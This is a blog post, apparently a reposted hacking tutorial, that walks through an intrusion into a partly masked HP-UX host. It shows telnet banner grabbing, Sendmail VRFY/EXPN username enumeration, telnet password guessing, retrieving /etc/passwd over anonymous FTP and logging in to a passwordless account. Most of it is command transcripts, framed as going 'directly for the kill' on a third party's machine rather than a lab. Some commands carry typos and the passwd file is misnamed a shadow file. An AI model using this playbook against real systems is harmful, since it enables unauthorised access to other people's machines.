Thursday, September 30, 2010

The hacker's view on it (quick kill example)

The hacker's view on it (quick kill example)
(Let us see - if I can obtain root/administrator access on a host, why would I bother to see the Ethernet card's stats, or be able to write a message to all the users? No - if I know that there is a possibility to obtain super user status I will go for it right away. My point is this - I would only port scan a host on ports that is servicing services that can easily lead to a compromise. And mind you - skip the vulnerability scanners. Grab the banners and versions and see if the host is running vulnerable versions of the service. If it is - go directly for the kill.
OK, let us take it step by step, with examples etc. Let us assume the host that I am interested in is 196.3x.2x.7x. From the previous section I know exactly where it is located and that it is active. For various reasons I want to get a shell on this host. First of all I am interested in what O/S it is running. Maybe not the exact version - I just want to know if the host is running Unix or Windows. And remember, I don't want to set off all the bells and whistles along the way. Which are the most common ports that are open on hosts in the Internet? I would say port 25 (SMTP) and port 80 (HTTP). I have a good chance of knowing the O/S by telnetting to either of these ports, and as such I telnet to port 25:
# telnet 196.3x.2x.7x 25
Trying 196.3x.2x.7x...
Connected to 196.3x.2x.7x.
Escape character is '^]'.
220 xxx.xx.co.za ESMTP Sendmail 8.7.1/8.7.1; Mon, 14 Aug 2000 00:20:28 +0100 (BST)
I reply with the QUIT command to terminate the connection. As we can all see, the host replied with a Sendmail banner (a rather old Sendmail as well). Common sense tells us that this host is a UNIX system.
Keeping in mind that I am only trying to get a shell on the host, I proceed to the next logical step - telnetting to port 23 (telnet). Maybe the port is wrapped. Maybe it is firewalled. Maybe I should just find out:
# telnet 196.3x.2x.7x
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
HP-UX u46b00 B.10.20 A 9000/831 (ttyp1)
login: It not wrapped or firewalled. The host does not look at though it is firewalled at all (it could be...we don't know, and we don't care - we will find out soon enough). We go directly to the next step - see if the finger port is open:
# finger @196.3x.2x.7x
[196.3x.2x.7x]
finger: read: Connection refused
Hmm...the host's finger service is not filtered, but then again - it's not running finger. How do we get a username and a password? On UNIX systems where are several ways to find out if a user exists - we would have to guess a password. If the Sendmail were not configured to do so it would allow us to issue a VRFY and EXPN command. These commands will verify if a user exists and expand the username if it is pointing to other email address respectively. Let us use some common usernames and see if they exist:
# telnet 196.3x.2x.7x 25
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
220 xxx.xx.co.za ESMTP Sendmail 8.7.1/8.7.1; Mon, 14 Aug 2000 00:34:01 +0100 (BST)
vrfy test
250 user
vrfy user
550 user... User unknown
vrfy u46b00
550 u46b00... User unknown
vrfy root
250
expn root
250
vrfy guest
550 guest... User unknown
vrfy mail
550 mail... User unknown
expn webmaster
550 webmaster... User unknown
expn postmaster
250
Let us see what happened here. First of all we see that EXPN and VRFY commands are allowed. The username "test" exists. The username "user" and "u46b00" does not exist. The username "root" exists. The username "root" does not have any aliases, but the username "postmaster" is feeding the "root" account.
So - the username "test" exists. The username test is very common is systems that are not kept in a good condition. No points for guessing what password we are going to use with user "test":
# telnet 196.3x.2x.7x
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
HP-UX u46b00 B.10.20 A 9000/831 (ttyp1)
login: test
Password:
Login incorrect
login: test
Password:
Login incorrect
login: test
Password:
Login incorrect
Connection closed by foreign host.
Hmm...interesting. The username "test" does not have password "test", "test1" or "test01". Now - we might try another few passwords, but this is really not the idea. How about just getting a list of usernames on the system? Maybe that would give us a better idea of username that have weak passwords? Let us see:
# ftp 196.3x.2x.7x
Connected to 196.3x.2x.7x.
220 u46b00 FTP server (Version 1.7.212.2 Tue Apr 21 12:14:46 GMT 1998) ready.
Name (196.3x.2x.7x:roelof): anonymous
331 Guest login ok, send indent as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> CD /etc
250 CWD command successful.
ftp> get passed
local: passwd remote: passwd
227 Entering Passive Mode (196,3x,2x,7x,8,186)
150 Opening BINARY mode data connection for passed (7695 bytes).
100% |*************************************************| 7695 00:00 ETA
226 Transfer complete.
7695 bytes received in 2.06 seconds (3.64 KB/s)
ftp> exit
221 Goodbye.
~/perl/telnet/brute more passwd
root:*:0:3::/var/sam:/usr/bin/false
root:*:0:3::/var/sam:/usr/bin/false
daemon:*:1:5::/var/sam:/usr/bin/false
bin:*:2:2::/var/sam:/usr/bin/false
sys:*:3:3::/var/sam:/usr/bin/false
adm:*:4:4::/var/sam:/usr/bin/false
uucp:*:5:3::/var/sam:/usr/bin/false
lp:*:9:7::/var/sam:/usr/bin/false
nuucp:*:11:11::/var/sam:/usr/bin/false
hpdb:*:27:1::/var/sam:/usr/bin/false
----cut----
The problems with these unkept "old" UNIX hosts are that they keep the "shadow" password file in the /etc directory of the anonymous FTP user. While the file does not contain any passwords, it gives us a very good idea of which users may have weak passwords. We inspect the shadow password file and focus on the following entries:
pro:*:100:100::/var/sam:/usr/bin/false
mis2000:*:208:1000::/var/sam:/usr/bin/false
lab:*:369:2000::/var/sam:/usr/bin/false
oracle:*:101:100::/var/sam:/usr/bin/false
doggy:*:541:2000::/var/sam:/usr/bin/false
f399:*:611:2000::/var/sam:/usr/bin/false
These users have suspect names - they don't fit the description of "normal" usernames - these are typically usersnames that are used by more than one person and these normally have weak passwords. Starting from the top, we hit the jackpot with the second user "mis2000":
# telnet 196.3x.2x.7x
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
HP-UX u46b00 B.10.20 A 9000/831 (ttyp1)
login: mis2000
Please wait...checking for disk quotas
What is your terminal type?
No password...at all. Now, I hear all the script kiddies going - yeah, we are hackers, we also could have done that - and the more seasoned hackers saying - sheet this is not hacking - it is clubbing baby seals. And it is. But this is not the point - the point is the method used. It shows that the hacker goes directly for the kill - in a situation like the one described above it make not sense portscanning the host first - everything you need is right there.

No comments:

Post a Comment

hacking tools